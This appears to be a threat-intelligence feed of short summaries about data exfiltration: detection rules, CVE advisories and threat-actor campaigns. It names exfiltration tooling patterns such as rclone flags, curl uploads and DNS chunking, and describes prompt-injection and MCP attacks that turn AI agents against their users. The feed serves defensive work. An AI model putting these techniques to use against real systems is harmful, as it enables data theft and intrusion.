Data Exfiltration

Elastic has released a detection rule for its Defend for Containers integration, identifying the use of tunneling and port forwarding tools within Linux containers, indicating potential threat actor activity such as command-and-control, data exfiltration, or lateral movement.

An Elastic machine learning job detects unusually large file transfers by remote hosts, indicating potential lateral movement or data exfiltration by adversaries who consolidate data into single large files to avoid detection.

Elastic's Data Exfiltration Detection integration leverages machine learning to identify rare processes writing data to external devices, indicating potential data exfiltration by adversaries using benign-looking processes.

Elastic's machine learning job identifies potential data exfiltration activity to unusual geo-locations by detecting anomalies in network traffic patterns, indicating adversaries leveraging command and control channels to transfer data outside normal organizational patterns.

A machine learning job by Elastic detects potential data exfiltration by identifying anomalous network traffic patterns where high bytes are sent to an unusual destination port, suggesting data is being exfiltrated via command and control channels.

Multiple vulnerabilities in Erlang/OTP allow a remote, anonymous attacker to perform a Denial of Service attack, execute arbitrary code, bypass security measures, and manipulate or disclose data.

An SQL injection vulnerability (CVE-2026-12741) exists in the WP Fast Total Search - The Power of Indexed Search plugin for WordPress, affecting all versions up to and including 1.80.280. The flaw, located in the 'form_data[s]' parameter, is due to insufficient input escaping and poor SQL query preparation, allowing unauthenticated attackers to inject malicious SQL queries and extract sensitive information from the underlying database.

This brief details the detection of DNS queries originating from local Large Language Model (LLM) frameworks like Ollama, LM Studio, and GPT4All on Windows endpoints, leveraging Sysmon Event ID 22 to identify potential unauthorized AI tool usage or data exfiltration risks associated with model downloads, updates, and telemetry from repositories such as huggingface.co and ollama.ai.

This brief describes how the creation of Large Language Model (LLM) files, including formats like .gguf, .safetensors, .ggml, and Modelfiles, by local AI inference frameworks such as Ollama, llama.cpp, GPT4All, and LM Studio can be detected on Windows endpoints, indicating potential shadow AI deployments, unauthorized model downloads, or rogue LLM infrastructure which poses data exfiltration risks and policy violations.

This brief details the detection of `rclone.exe` command-line usage with arguments indicative of file transfer to cloud services, a technique frequently leveraged by threat actors for data exfiltration during ransomware and other attacks, which can lead to data breaches and sensitive information loss.

The DUCKTAIL threat actor leverages Chromium-based web browsers (such as Microsoft Edge and Chrome) running in headless mode with the `--dump-dom` argument to stealthily download malicious content from the internet via suspicious file-sharing domains, impacting compromised endpoints.

This detection identifies the malicious use of 'rclone', a legitimate file synchronization utility, for data exfiltration or cloud abuse by flagging `rclone.exe` execution when specific suspicious command-line arguments are used, such as those indicating synchronization to remote cloud storage providers like `mega:`, `ftp:`, or generic `remote:`, especially in conjunction with flags like `--transfers`, `--ignore-existing`, or `--auto-confirm`, which is a critical indicator of compromise abused by threat actors for stealthy data exfiltration.

A vulnerability in the Containerized Data Importer (CDI) for Kubernetes, identified as CVE-2026-17527, allows privilege escalation and data exfiltration through an improperly configured `cdi.kubevirt.io:view` ClusterRole, enabling attackers with partial access to clone and access data from any PersistentVolumeClaim in the cluster.

A high-severity NoSQL injection vulnerability in Budibase's MongoDB datasource (npm/@budibase/server <= 3.38.1) allows an authenticated BASIC app user to bypass query-level access controls, enabling full collection dumps, arbitrary JavaScript execution via the MongoDB `$where` operator, cross-collection pivots, and arbitrary update/delete operations due to improper handling of Handlebars-enriched JSON queries.

A critical SQL injection vulnerability was discovered in Budibase's MySQL integration (versions <= 3.38.1) that allows remote attackers to execute arbitrary SQL commands through user input fields due to the `multipleStatements: true` configuration, leading to complete database compromise.

An insecure direct object reference vulnerability (CVE-2026-65708) in sysPass versions up to 3.2.11 allows authenticated attackers to bypass access controls, accessing, enumerating, and manipulating account file attachments by manipulating numeric file IDs in `AccountFileController` actions without proper authorization checks, leading to unauthorized data access.

Multiple vulnerabilities in Progress Software MOVEit Transfer allow attackers to bypass security measures, achieve elevated privileges, and manipulate or disclose sensitive data, including the ability to perform Cross-Site-Scripting (XSS) attacks.

A high-severity SQL injection vulnerability, CVE-2026-16765, exists in CodeAstro Online Classroom 1.0, specifically in the `/OnlineClassroom/loginlinkadmin.php` file, which allows remote unauthenticated attackers to manipulate the `aid` argument, leading to potential data exfiltration and database compromise, with public exploit disclosure increasing immediate risk.

An attacker can exploit multiple vulnerabilities in the n8n workflow automation platform to bypass security measures, perform a Denial of Service attack, disclose sensitive information, manipulate files, conduct SQL injection, and execute arbitrary code.

Multiple vulnerabilities in MongoDB allow an attacker to execute arbitrary code, bypass security measures, disclose confidential information, manipulate data, cause memory corruption, or trigger a denial-of-service condition.

Multiple vulnerabilities in Budibase allow an attacker to gain elevated privileges, perform SQL injection, bypass security measures, take over user accounts, manipulate or disclose data, and trigger a denial-of-service condition, enabling various malicious activities impacting data integrity, confidentiality, and system availability.

An authenticated n8n user can exploit a path restriction bypass vulnerability within the Git node's fetch, pull, or push-tags operations to access arbitrary local Git repositories and their contents, potentially leading to sensitive data exposure.

The n8n AI Agents module in versions prior to 2.27.4 and between 2.28.0 and 2.28.1 failed to enforce configured 'Allowed HTTP Request Domains' restrictions, allowing an authenticated member-level user with 'use-only' access to a shared credential to bypass these domain restrictions and exfiltrate sensitive secrets to an attacker-controlled server.

An authenticated n8n user with 'use-only editor access' can exploit CVE-2026-59209 in shared workflows when `N8N_EXPRESSION_ENGINE=vm` is enabled, allowing them to read sensitive HTTP Header Auth credentials from the `$request.headers` object within a paginated HTTP Request node's expression and exfiltrate them, bypassing credential domain restrictions.

A remote, highly privileged attacker can exploit multiple vulnerabilities in SolarWinds Serv-U to execute arbitrary code as Root, gain administrator privileges, take over accounts, disclose confidential information, or perform Cross-Site Scripting attacks.

A server-side request forgery (SSRF) vulnerability in mcp-webresearch version 0.1.7 allows attackers to bypass URL protocol validation by supplying private IP addresses, enabling them to leverage prompt injection to steer an LLM-controlled URL, forcing the server's Playwright browser to access internal network services and cloud instance metadata, which leads to the exfiltration of sensitive internal content, including credentials, into the model's context.

A vulnerability in Gitea Actions Artifacts V4 allows authenticated attackers, with permission to run an Actions job, to bypass intended access controls by manipulating signed artifact URLs, enabling unauthorized reading of artifacts from other repositories or writing arbitrary data to other tasks' artifact staging areas, potentially leading to data exfiltration or integrity compromise.

An incomplete Server-Side Request Forgery (SSRF) protection in Gitea versions prior to 1.26.3 allows authenticated users to bypass the allow-list in webhook delivery and repository migrations, enabling internal network probing and data exfiltration from sensitive services like cloud metadata endpoints.

An attacker with write access to a Gitea repository can bypass branch protection rules by exploiting a logic flaw, obtaining an 'official' approval on a pull request (PR) targeting an unprotected branch, then retargeting the PR to a protected branch, preserving the stale approval and leading to unauthorized code merges and privilege escalation.

A critical vulnerability in Gitea allows an authenticated, low-privileged user to exfiltrate internal Git repositories by exploiting a validation bypass, where Gitea's initial URL validation for repository migration is circumvented by the Git command-line client's default behavior of following HTTP redirects to otherwise blocked internal IP addresses, leading to server-side request forgery (SSRF) and the theft of sensitive code, credentials, and configuration into an attacker-controlled repository, with persistent exfiltration possible through pull mirrors.

An attacker can exploit multiple vulnerabilities in Synacor Zimbra to execute arbitrary code, perform cross-site scripting attacks, bypass security measures, disclose confidential information, and carry out unauthorized actions.

This content introduces AI Detection and Response (AIDR) as a new cybersecurity category to address emerging threats from autonomous AI agents, including supply chain attacks and unintended data sharing, highlighting their ability to execute with inherited privileges across endpoints, SaaS, and cloud environments.

The LightRAG application, specifically the 'lightrag-hku' package, contains a critical vulnerability (CVE-2026-61736) due to its default Cross-Origin Resource Sharing (CORS) configuration, enabling any malicious website to perform authenticated API calls on behalf of a logged-in LightRAG user, leading to unauthorized data exfiltration or destructive actions.

Unauthenticated attackers can bypass rate limits in FileCodeBox versions before 2.4 due to a vulnerability in the IPRateLimit class, allowing them to enumerate share codes and retrieve other users' files without authentication by spoofing X-Real-IP and X-Forwarded-For headers without proper verification.

An authenticated attacker can exploit CVE-2026-63107, a server-side request forgery vulnerability in LimeSurvey versions through 6.17.10 and 7.0.4, by manipulating the HTTP Host header in the REST API survey template endpoint, allowing the server to issue arbitrary HTTP requests to internal networks and cloud metadata services, potentially leading to the extraction of sensitive credentials like IAM tokens.

Adversaries may compromise macOS-based Generative AI (GenAI) tools through prompt injection, malicious Model Context Protocol (MCP) servers, or poisoned plugins to establish Command and Control (C2) channels or exfiltrate sensitive data by causing them to connect to unusual domains.

SurrealDB versions prior to 3.1.0 are vulnerable to a session hijacking flaw (CVE-2026-63757) where unauthenticated attackers can enumerate session UUIDs via the HTTP /rpc sessions method and impersonate authenticated sessions to read, write, and delete data, leading to privilege escalation.

A vulnerability, CVE-2026-63735, in SurrealDB versions prior to 3.2.0 allows authenticated users to bypass namespace and database scope validation in custom API routes by manipulating the URL path, potentially leading to unauthorized data reading or triggering unintended operations across different tenants.

An attacker can exploit multiple vulnerabilities in IBM Langflow Desktop OSS to gain administrator privileges, execute arbitrary code, bypass security measures, manipulate and disclose data, or cause a denial-of-service condition, leading to full system compromise and data integrity/confidentiality breaches.

SurrealDB versions prior to 1.0.1 are vulnerable due to default table permissions being set to FULL instead of NONE, allowing attackers with existing database access or unauthenticated users on publicly exposed instances to perform unrestricted SELECT, CREATE, UPDATE, and DELETE operations on tables that lack explicit permission settings, leading to unauthorized data access, modification, or deletion.

A public Proof of Concept (PoC) is available for CVE-2026-10672, an out-of-bounds read vulnerability in the LwM2M firmware update component of Zephyr RTOS versions 3.0.0 through 4.4.0, allowing an attacker to exfiltrate up to 13 bytes of sensitive data from adjacent memory via crafted CoAP requests, significantly elevating risk for unpatched IoT and embedded systems.

IBM Langflow OSS versions 1.0.0 through 1.10.0 contain a critical deserialization vulnerability (CVE-2026-8476) in its disk-based caching mechanism, which uses Python's unsafe `pickle.loads()` function without proper validation, allowing attackers to process malicious pickle payloads and achieve arbitrary code execution with the privileges of the Langflow server process, leading to complete system compromise.

An authentication bypass vulnerability, CVE-2026-63101, in Open Event Server through version 1.19.1 allows unauthenticated attackers to export the complete member roster of any group by exploiting unauthenticated CSV export and task status endpoints, leading to the exfiltration of sensitive data like email addresses, names, and roles.

A critical SQL injection vulnerability, CVE-2026-16014, has been identified in the Login Form component of code-projects Hospital Bed Management System version 1.0, allowing remote attackers to manipulate the 'Username' argument for unauthorized data access and manipulation, with a public exploit available.

Multiple vulnerabilities in nginx-ui allow an attacker to execute arbitrary code, including with root privileges, gain elevated privileges, perform account takeover, bypass security measures, and disclose or manipulate data.

The Grav API plugin before version 1.0.0-rc.16 contains a CORS misconfiguration that sets `Access-Control-Allow-Origin: *` by default, enabling an attacker to perform authenticated cross-origin requests from a malicious website after obtaining a valid API token, leading to sensitive data exfiltration and unauthorized write operations.

Microsoft Defender Experts observed increased ACR Stealer activity from late April to mid-June 2026, using ClickFix social engineering lures in two distinct campaigns to steal browser credentials, authentication tokens, and sensitive documents from enterprise environments via WebDAV-based Python loaders or MSHTA-initiated PowerShell with steganography.

A high-severity vulnerability (CVE-2026-52870) in the MCP Python SDK's experimental task handlers, specifically in versions 1.23.0 through 1.27.1, allows any connected client to observe, read results from, and cancel tasks belonging to other clients due to a lack of session validation, potentially leading to unauthorized data access and denial of service.

An unauthenticated network attacker can exploit a Server-Side Request Forgery (SSRF) vulnerability, identified as CVE-2026-63086, in the OpenAI-compatible multimodal chat completions endpoint of text-generation-inference through version 3.3.7 to coerce the server into issuing arbitrary HTTP GET requests, enabling internal port scanning and credential theft from internal services and cloud instance metadata endpoints.

An unknown sophisticated threat actor is leveraging DLL sideloading within the ViPNet update system to deploy a multi-stage malware suite, including HelloInjector, HelloProxy, HelloExecutor, HelloCleaner, and HelloBackdoor, to establish persistence, exfiltrate data, and maintain covert access to large Russian organizations in government, energy, and other critical sectors.

The ClickLock macOS infostealer employs a unique coercive tactic by repeatedly killing essential macOS applications, such as Finder and Dock, every 210 milliseconds until the victim provides their login password, leading to the exfiltration of sensitive credentials and cryptocurrency wallets.

An unnamed threat actor is deploying a sophisticated two-phase attack, utilizing the GoSerpent backdoor, Stowaway RAT, and custom tools like ThumbcacheService and TmcLoader/TmcPayload, to persistently collect sensitive data and credentials from government and diplomatic entities in Southeast Asia for exfiltration.

This brief outlines a detection strategy for identifying unusually large prompts sent to AWS Bedrock Claude models, which may indicate prompt injection attacks, data exfiltration attempts, or abuse of the AI service, warranting investigation by detection engineers.

A Cross-Site Request Forgery (CSRF) vulnerability, identified as CVE-2026-20296, in Splunk Enterprise and Splunk Cloud Platform allows an attacker to trick a user with the `list_deployment_server` capability into executing arbitrary Search Processing Language (SPL) searches as the highly privileged `splunk-system-user`, potentially leading to unauthorized access of stored credentials and indexed data due to a lack of CSRF token validation and improper input neutralization.

Multiple vulnerabilities have been discovered in various Citrix products, including Endpoint Analysis Client, Secure Access Client, XenCenter SDK client, and XenCenter. These flaws allow an attacker to achieve privilege escalation, compromise data confidentiality, and bypass security policies.

Unauthenticated attackers can exploit a Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-54628) in Anyquery's `server` mode (versions prior to 0.4.5) by creating SQLite virtual tables that fetch internal network resources or cloud metadata, leading to internal network mapping and exfiltration of sensitive information like cloud credentials.

This rule detects prompts sent to Amazon Bedrock AgentCore runtimes that attempt to harvest credentials or exfiltrate data by referencing cloud instance metadata services, explicit AWS access/secret keys, or combining prompt-injection/jailbreak language with intent to reveal secrets or send data to external endpoints, indicating an attempt to weaponize the agent for credential theft.

A path traversal vulnerability (CVE-2026-57856) exists in the Bucket file storage API of Cockpit CMS, allowing authenticated low-privileged users to exploit a flaw in bucket name sanitization to access, upload, or delete files across all buckets by using crafted '..' sequences.

ShinyHunters, and related threat actor Storm-3138, conducted campaigns between mid-2025 and mid-2026 by employing voice phishing, supply chain compromise, and misconfigured guest access to abuse trusted OAuth relationships in SaaS applications like Salesforce, leading to unauthorized access, data exfiltration, and persistence.

A Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-49969, exists in Laravel-Mediable versions prior to 7.0.0, allowing remote attackers to force the server to make arbitrary HTTP requests to attacker-controlled URLs provided to `MediaUploader::fromSource()` to target internal network resources, access sensitive files, and exfiltrate cloud credentials like IAM tokens.

A critical vulnerability (CVE-2026-54069) in SiYuan Note kernel's HTTP server allows any Chrome/Chromium browser extension to gain unauthenticated RoleAdministrator access, enabling data exfiltration, stored XSS injection, and configuration tampering for SiYuan desktop users, including via compromised legitimate extensions.

A critical SQL injection vulnerability, tracked as CVE-2026-2397 with a CVSS v3.1 score of 9.8, affects Adam Retail Automation Ltd.'s MobilMen 20T software, allowing remote attackers to execute arbitrary SQL commands due to improper neutralization of special elements in input, potentially leading to unauthorized data access or system compromise.

Authorization flaws in Vikunja before version 2.2.1 allow authenticated users with read access to escalate privileges by obtaining admin-level share hashes via the LinkSharing.ReadAll endpoint, and also permit instance-wide data exfiltration and destruction by manipulating task attachments through an Insecure Direct Object Reference (IDOR) vulnerability in the GetTaskAttachment endpoint.

A critical blind Server-Side Request Forgery (SSRF) vulnerability, CVE-2026-15378, exists in the `guardrails-detectors` component, allowing a remote attacker to exploit specially crafted XML Schema Definition (XSD) strings to gain unauthorized access to sensitive information from cloud metadata services, Kubernetes API, internal MinIO, and facilitate local file reads of service account tokens and pod secrets.

Multiple high-severity vulnerabilities exist within the EDK2 NetworkPkg IP stack implementation, allowing an attacker, either from an adjacent network or remotely and anonymously, to achieve arbitrary code execution, disclose confidential information, and trigger a denial of service condition, impacting the low-level networking capabilities and security of systems utilizing this firmware component.

Attackers can exploit multiple, unspecified vulnerabilities in Splunk Enterprise to bypass security measures, disclose sensitive information, manipulate data, execute arbitrary code, and cause denial-of-service conditions, potentially leading to other unspecified impacts.

A threat actor was observed in early June 2026 using AI-generated PowerShell scripts for Active Directory enumeration and then deploying s5cmd for data exfiltration after gaining initial access via RDP, indicating a shift towards AI-augmented tradecraft for rapid and aggressive campaigns.

The China-nexus threat actor UAT-7810 is expanding its Operational Relay Box (ORB) networks by exploiting known vulnerabilities in unpatched Ruckus and ASUS routers to deploy custom backdoors like LONGLEASH and DOGLEASH, while other threats include the ARToken Phishing-as-a-Service platform targeting Microsoft 365, critical flaws in AirDrop/Quick Share, and a backdoor in Tenda router firmware.

Suspected China- and India-nexus threat actors conducted separate cyberespionage operations against several Pakistani law enforcement organizations, including Balochistan Police, from February 2024 to April 2026, compromising web applications and network appliances with tools like PlugX, ShadowPad, Cobalt Strike, and Remcos to exfiltrate sensitive criminal and biometric data.

A remote, authenticated attacker can exploit multiple vulnerabilities in rclone to gain unauthorized capabilities, allowing them to read and write arbitrary files on the system, disclose sensitive information, and bypass existing security mechanisms, potentially leading to data compromise or system integrity issues.

Multiple vulnerabilities in GitLab allow a remote, authenticated attacker to execute arbitrary code, perform Cross-Site Scripting (XSS), manipulate data, or disclose sensitive information.

A critical SQL injection vulnerability (CVE-2026-5955) in Inrove Software and Internet Services BiEticaret, affecting versions before v3.3.57, allows unauthenticated attackers to execute arbitrary SQL commands, potentially leading to data exfiltration and full system compromise.

Multiple critical vulnerabilities in IBM Operational Decision Manager allow an attacker to achieve arbitrary code execution, elevate privileges, perform denial of service attacks, disclose information, manipulate files, and bypass security measures.

A high-severity SQL injection vulnerability, CVE-2026-15135, exists in code-projects Online Food Order System 1.0 affecting the `/edit_food_items.php` file's 'update' argument, allowing remote attackers to perform unauthorized data disclosure or manipulation, with a public exploit available.

A high-severity SQL injection vulnerability (CVE-2026-15134) in CodeAstro Simple Online Leave Management System 1.0, specifically within the '/SimpleOnlineLeave/index.php' file, allows a remote unauthenticated attacker to execute arbitrary SQL commands by manipulating the 'email' argument, leading to unauthorized database access and data compromise, with a public exploit available.

Progress Software has issued a critical security advisory (AV26-678) detailing multiple vulnerabilities, including CVE-2026-10699, CVE-2026-10698, and CVE-2026-11903, affecting various versions of its MOVEit Transfer product, necessitating immediate patching to prevent potential exploitation.

CVE-2026-56226 details a high-severity vulnerability in Capgo versions prior to 12.128.2 that exposes a Supabase PostgREST RPC function, `public.get_orgs_v6`, to unauthenticated attackers, allowing them to retrieve sensitive user organization membership and PII by supplying an arbitrary user UUID.

Multiple critical vulnerabilities, including CVE-2026-13126 and CVE-2026-13127, have been discovered in Foxit PDF Editor and Reader for Windows and macOS, enabling a remote attacker to achieve arbitrary code execution, elevate privileges, and compromise data confidentiality if users open a crafted malicious PDF document.

Merged detection coverage for AWS Bedrock Claude abuse patterns, including prompt injection, sensitive-data exposure, high-risk tool invocation, cross-region inference, hostile prompts, unusually large prompts, and excessive token output anomalies.

An authenticated SQL injection vulnerability exists in the OpenRemote datapoint export API, allowing an attacker with asset creation/rename and datapoint export permissions to inject SQL commands via asset names, leading to arbitrary database execution and exfiltration of potentially cross-tenant data, with results returned in the normal ZIP/CSV export response.

A critical vulnerability (CVE-2026-55500) in 9routers versions <= 0.4.71 allows authenticated attackers with a valid JWT token to export the complete database containing plaintext credentials and secrets, and to import a modified database, leading to full system takeover and credential theft.

Multiple critical unauthenticated API vulnerabilities in 9Router versions up to 0.4.41 allow an attacker to perform full CRUD operations on provider connections, leak plaintext API keys, and access sensitive conversation history, posing risks of data exfiltration and denial of service.

The AI Bridge Proxy (`aibridgeproxyd`) in Coder's platform, when running in its default configuration without an upstream proxy, failed to perform TLS certificate verification for outbound HTTPS connections to the Coder server (CVE-2026-55436), allowing an on-path attacker to intercept sensitive data including Coder session tokens, user-supplied API keys, and full request/response bodies.

This brief details the technique of DNS exfiltration where threat actors use chunked DNS queries with subdomain labels following an 'index-payload.base_domain' pattern to exfiltrate data from compromised Windows hosts, allowing them to bypass volume-based detection and extract sensitive information.

A critical SQL injection vulnerability (CVE-2026-14771) has been discovered in SourceCodester Class and Exam Timetabling System version 1.0, allowing remote unauthenticated attackers to manipulate the 'ID' argument in `/edit_exam1.php`, leading to arbitrary SQL command execution and potential data compromise.

A critical security vulnerability, CVE-2026-14769, allows for remote SQL Injection in code-projects Real State Services 1.0 via the 'Bankname' argument in the '/pay.php' file, with a publicly disclosed exploit enabling information disclosure and potential data manipulation.

A SQL injection vulnerability, tracked as CVE-2026-14763, has been discovered in code-projects Hotel and Tourism Reservation version 1.0. The flaw affects an unknown function within the '/admin/tour_reserves.php' file, specifically in the 'Tour Reservations Page' component, due to improper handling of the 'tour' argument, allowing for remote SQL injection attacks, and a public exploit is available, increasing the risk of compromise.

A critical remote unauthenticated SQL injection vulnerability (CVE-2026-14755) in code-projects Hotel and Tourism Reservation version 1.0, specifically within the '/admin/reservations.php' file's 'delete' argument, allows attackers to manipulate backend database queries, leading to data exposure and manipulation with a publicly disclosed exploit.

A high-severity remote SQL injection vulnerability (CVE-2026-14750) exists in mjperpinosa stumasy up to commit 327d1b0f2915ba79d7ef8ebb74553e987609d9be, allowing unauthenticated attackers to manipulate the 'Password' argument in the `Notes_controller::accessing_dictionary_authorization` function to execute arbitrary SQL queries, leading to data exfiltration, manipulation, or potential server compromise via a publicly available exploit.

A critical SQL injection vulnerability (CVE-2026-14744) has been found in code-projects Real State Services version 1.0. The flaw resides in an unknown function within the /normalHomeRent.php file, where manipulating the 'loc' argument allows for remote SQL injection, and a public exploit has been released, posing an immediate threat to affected systems.

This brief describes a critical network threat where attackers leverage ICMP tunneling, a technique to embed command and control (C2) or exfiltrated data within large ICMP Echo payloads, enabling covert communication channels that bypass traditional firewall rules, posing a significant risk of data theft and unauthorized system control.

A high-severity SQL injection vulnerability, CVE-2026-14688, exists in itsourcecode Online Hotel Management System 1.0 within the `/admin/login.php` file via the `email` argument, allowing remote unauthenticated attackers to bypass authentication and potentially exfiltrate data, with a publicly available exploit.

Adversaries can exploit the creation of AWS Lambda event source mappings to establish stealthy persistence and execution, or to continuously siphon records from event sources like Amazon SQS, Kinesis, DynamoDB, MSK, Kafka, or MQ, by mapping an event source to an attacker-controlled Lambda function, enabling durable execution and data exfiltration without requiring further interactive access.

This brief details the detection of potential SQL injection (SQLi) attempts against web servers by identifying common SQLi patterns in URLs and query strings, used by threat actors for reconnaissance, data exfiltration, or command execution, aiming for sensitive information disclosure or system compromise.

This brief details the use of `curl.exe` by an attacker on a compromised Windows host to exfiltrate sensitive data to public file-sharing services, leading to potential data loss and regulatory non-compliance.

Information-stealing malware such as Phantom Stealer targets WinSCP's security configuration folder to harvest sensitive SSH and FTP credentials, leading to unauthorized access to remote systems and potential lateral movement.

This brief details a detection for suspicious FTP connections initiated by processes located in non-standard directories on Windows systems, a behavior indicative of malware like AgentTesla used for Command and Control (C2) or data exfiltration, leading to unauthorized data transfer and potential system compromise.

This brief describes the detection of unauthorized access by non-Chrome processes to the Chrome user default folder, a behavior associated with RATs, trojans, and APTs like FIN7, aiming to exfiltrate sensitive data such as login credentials, browsing history, and cookies.

Recce OSS server deployments are vulnerable to unauthenticated SQL execution via the query run API when configured with a DuckDB-backed project, allowing attackers to use DuckDB filesystem primitives to read and write arbitrary files accessible to the server process, potentially leading to data disclosure, tampering, or stored XSS.

An authentication bypass vulnerability in `backpropagate` versions >= 1.1.0 and < 1.2.0 allows unauthenticated attackers to gain full control over the Reflex web UI, even when HTTP Basic authentication is ostensibly enabled via the `--auth` flag, permitting data exfiltration, arbitrary training runs, HuggingFace Hub push, disk-fill DoS, and sensitive path discovery.

An authenticated user can bypass the admin-configured `excluded_paths` security control in `jupyterlab-git` versions up to 0.53.0 by exploiting a case-sensitivity flaw on case-insensitive filesystems (e.g., macOS APFS, Windows NTFS), allowing unauthorized read access to git history and file content in explicitly excluded directories.

A high-severity vulnerability (CVE-2026-53489) in containerd's CRI plugin allows an unprivileged attacker to read arbitrary files on the host system by crafting a malicious checkpoint with a symlink that `containerd` follows during `container.log` restoration, enabling data exfiltration via `kubectl logs`.

An SQL injection vulnerability, CVE-2017-20265, in Joomla! Component Flip Wall 8.0 allows unauthenticated attackers to execute arbitrary SQL queries via malicious GET requests to the `wallid` parameter, enabling the extraction of sensitive database information.

An unauthenticated SQL injection vulnerability (CVE-2017-20263) in Joomla! Component FocalPoint Pro/Free version 1.2.3 allows attackers to execute arbitrary SQL queries via a crafted 'id' parameter in GET requests, leading to sensitive database information disclosure.

An unauthenticated attacker can exploit CVE-2017-20261, a critical SQL injection vulnerability in Joomla! Component Bargain Product VM3 1.0, by injecting malicious code into the 'product_id' parameter within GET requests to the 'brainy' or 'alice' views, allowing them to execute arbitrary SQL queries and extract sensitive database information.

Unauthenticated attackers can exploit an SQL injection vulnerability (CVE-2017-20258) in Joomla! Component RPC Responsive Portfolio 1.6.1 by injecting malicious code through the 'id' parameter in GET requests, allowing the execution of arbitrary SQL queries and extraction of sensitive database information.

An unauthenticated SQL injection vulnerability (CVE-2017-20257) in Joomla! Component Quiz Deluxe 3.7.4 allows attackers to execute arbitrary SQL commands and extract sensitive information via the `ajaxaction.flag_question` task using `stu_quiz_id` or `flag_quest` parameters.

Joomla NextGen Editor 2.1.0 contains an SQL injection vulnerability (CVE-2017-20252) that allows unauthenticated attackers to execute arbitrary SQL commands through the `plname` parameter in crafted GET requests to `index.php?option=com_nge&view=config`, leading to the extraction of sensitive database information.

A Russian-speaking threat group utilized a large dataset of administrative and VPN credentials, likely sourced from exposed FortiGate configuration files and active credential harvesting, to access government, critical infrastructure, and multinational corporate networks, resulting in widespread data exfiltration.

An unauthenticated attacker can exploit CVE-2026-55882 in Tilt HUD server versions 0.19.5 through 0.37.3, when exposed on a non-loopback address, by accessing the `/debug/pprof` endpoints to read sensitive process memory, including session and API server tokens, and to degrade application performance through prolonged CPU profiling or tracing.

A command injection vulnerability (CVE-NONE) exists in PraisonAI's `praisonaiagents` package (versions <= 1.6.48) where unsanitized LLM-controlled parameters are directly interpolated into IMAP SEARCH commands, allowing attackers to craft malicious prompts to inject arbitrary IMAP commands, leading to unauthorized email exfiltration, deletion, or denial-of-service when email tools are configured.

CVE-2026-49952 is an authentication bypass vulnerability in Discuz! X5.0 versions 20260320 through 20260501, allowing unauthenticated remote attackers to gain unauthorized access to database backup and restore functionality by exploiting a shared cryptographic key, leading to potential data exfiltration and user impersonation.

Multiple vulnerabilities discovered in Typo3 allow an attacker to achieve remote arbitrary code execution, privilege escalation, data confidentiality compromise, data integrity compromise, security policy bypass, remote indirect code injection (XSS), and SQL injection (SQLi).

Multiple vulnerabilities, including CVE-2025-10263, CVE-2026-42487, CVE-2026-42488, CVE-2026-42489, and CVE-2026-42490, have been discovered in Xen, allowing an attacker to achieve privilege escalation, trigger a remote denial of service, and compromise data confidentiality on vulnerable hypervisor instances.

Multiple critical vulnerabilities (CVE-2025-67862, CVE-2026-25089, CVE-2026-49938) have been discovered across Fortinet products including FortiOS, FortiPortal, FortiProxy, and FortiSandbox, enabling unauthenticated attackers to achieve remote arbitrary code execution and compromise data confidentiality.

A critical remote code execution vulnerability, tracked as CVE-2026-44963, has been discovered in Veeam Backup & Replication versions prior to 12.3.2.4854, which could allow an unauthenticated attacker to execute arbitrary code on affected systems, leading to full compromise of the backup infrastructure and potential data exfiltration or destruction.

The Atomic Arch campaign compromises orphaned Arch User Repository (AUR) packages, modifying their PKGBUILDs to install malicious npm/Bun dependencies like 'atomic-lockfile,' which deploy a Linux payload with credential harvesting, eBPF-based stealth, anti-debugging, and data exfiltration capabilities, impacting approximately 1,500 packages.

PraisonAI versions 4.6.37 and earlier are vulnerable to arbitrary file write due to missing path validation in the `write_file` function when `workspace=None`, allowing an attacker to write attacker-controlled content to arbitrary file paths on the victim's system via a malicious webpage.

Storm-2949 compromised cloud identities through social engineering and abused the Self-Service Password Reset (SSPR) process to bypass MFA and gain persistent access, enabling lateral movement and data exfiltration from Microsoft 365 and Azure environments.

SOGo 5.12.7 is vulnerable to SQL injection in the Access Control List management functionality, allowing authenticated users to extract arbitrary data from the database by injecting SQL subqueries through the uid parameter of the addUserInAcls endpoint, which can be exfiltrated via the /acls API.

UNC6671, operating under the "BlackFile" brand, conducts a sophisticated extortion campaign targeting organizations through voice phishing (vishing) and single sign-on (SSO) compromise, using adversary-in-the-middle (AiTM) techniques to bypass MFA and exfiltrate sensitive corporate data.

The Database Backup for WordPress plugin up to version 2.5.2 is vulnerable to unauthorized database export due to improper authorization enforcement, allowing unauthenticated attackers to export database tables in WordPress Multisite environments.

Commercially available Unitree robots are susceptible to multiple vulnerabilities, including hardcoded keys and command injection, allowing attackers to gain root-level access, exfiltrate data, and potentially create physical botnets.

Attackers are abusing the legitimate file synchronization tool rclone, often renamed to masquerade as legitimate software, to exfiltrate data to cloud storage or remote endpoints.

Financially motivated threat actors are using social engineering techniques like vishing and credential harvesting to compromise enterprise SaaS environments, leading to data exfiltration and extortion.

Trigona ransomware is using a custom data exfiltration tool named 'uploader_client.exe' to steal data from compromised environments, enhancing speed and evasion.

A machine learning job has detected a spike in bytes written to an external device, which is anomalous and can signal illicit data copying or transfer activities, potentially leading to data exfiltration.

CrowdStrike Falcon AIDR now supports NVIDIA NeMo Guardrails, providing enterprise-grade protection for AI agents by defending against runtime attacks like prompt injection, redacting sensitive data, defanging malicious content, and moderating unwanted topics to ensure agents stay within compliance boundaries in sectors like finance, healthcare, customer service, and software development.

The Speagle malware hijacks the Cobra DocGuard application to exfiltrate sensitive data from infected machines to attacker-controlled Cobra DocGuard servers, effectively masking malicious traffic as legitimate DocGuard communication.

CVE-2026-27446 allows an unauthenticated remote attacker to inject malicious messages or exfiltrate data from Apache Artemis and ActiveMQ Artemis brokers due to a missing authentication check in the Core protocol.

A machine learning job has detected potential data exfiltration activity to an unusual geographical region, specifically by region name, indicating exfiltration over command and control channels.

A machine learning job has detected an unusually high file size shared by a remote host, indicating potential lateral movement as attackers bundle data into a single large file transfer to evade detection when exfiltrating valuable information.

Adversaries use WinRAR or 7-Zip to create encrypted archives in preparation for data exfiltration, using command-line arguments to enable encryption functionality.

Unsecured Model Context Protocol (MCP) servers, used to connect AI agents to enterprise tools, lack authentication and audit trails, leading to data exfiltration, private repo leaks, cross-tenant exposure, and remote code execution due to AI agents using valid user credentials to make API calls based on potentially poisoned context.

